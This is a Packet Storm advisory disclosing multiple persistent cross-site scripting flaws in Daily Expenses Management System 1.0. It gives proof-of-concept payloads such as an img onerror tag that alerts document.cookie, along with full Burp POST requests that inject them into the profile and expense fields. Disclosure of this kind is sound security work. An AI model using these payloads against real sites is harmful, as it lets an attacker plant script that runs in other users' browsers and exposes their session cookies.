exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Daily Expenses Management System 1.0 Cross Site Scripting

Daily Expenses Management System 1.0 Cross Site Scripting
Posted Aug 6, 2020
Authored by Edo Maland

Daily Expenses Management System version 1.0 suffers from multiple persistent cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | d12f856358ece8af5af610c09d4fcccb1a90301f90a9ff55a63f3ad25f12e611

Daily Expenses Management System 1.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: Daily Expenses Management System 1.0 - Multiple Persistent Cross-Site Scripting
# Date: 2020-8-4
# Exploit Author: Edo Maland
# Vendor Homepage: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html
# Software Link: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html
# Version: 1.0
# Tested on: XAMPP / Windows 10


-------------------------------------------------------------------------------------------------------------------------------------


# Vulnerability Details
# Feature: Edit Profile
# Description : A persistent cross-site scripting vulnerability exists within the 'Edit Profile' functionality of application.
# Vulnerable Parameter : fullname

# POC

Go to url : https://example.com/dets/user-profile.php
Payload :
- <img src=xss onerror=alert(document.cookie)>

# Burp Requests

POST /dets/user-profile.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: https://example.com
DNT: 1
Connection: close
Referer: https://example.com/dets/user-profile.php
Cookie: PHPSESSID=m8d5bbejrmmtvnmm3va3htq8c1
Upgrade-Insecure-Requests: 1

fullname=<img src=xss onerror=alert(document.cookie)>&email=info@xss.id&contactnumber=1313371337&regdate=2020-08-05+13%3A19%3A49&submit=


-------------------------------------------------------------------------------------------------------------------------------------

# Vulnerability Details
# Feature: Add Expenses
# Description : A persistent cross-site scripting vulnerability exists within the 'Add Expenses' functionality of application.
# Vulnerable Parameter :
- item
- costitem

# POC

Go to url : https://example.com/dets/add-expense.php
Payload :
- <img src=xss onerror=alert(document.cookie)>
- <script>alert(1337)</script>

# Burp Requests

POST /dets/add-expense.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Origin: https://example.com
DNT: 1
Connection: close
Referer: https://example.com/dets/add-expense.php
Cookie: PHPSESSID=m8d5bbejrmmtvnmm3va3htq8c1
Upgrade-Insecure-Requests: 1

dateexpense=1337-11-11&item=%3Cimg+src%3Dxss+onerror%3Dalert%28document.cookie%29%3E&costitem=%3Cimg+src%3Dxss+onerror%3Dalert%282%29%3E&submit=
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close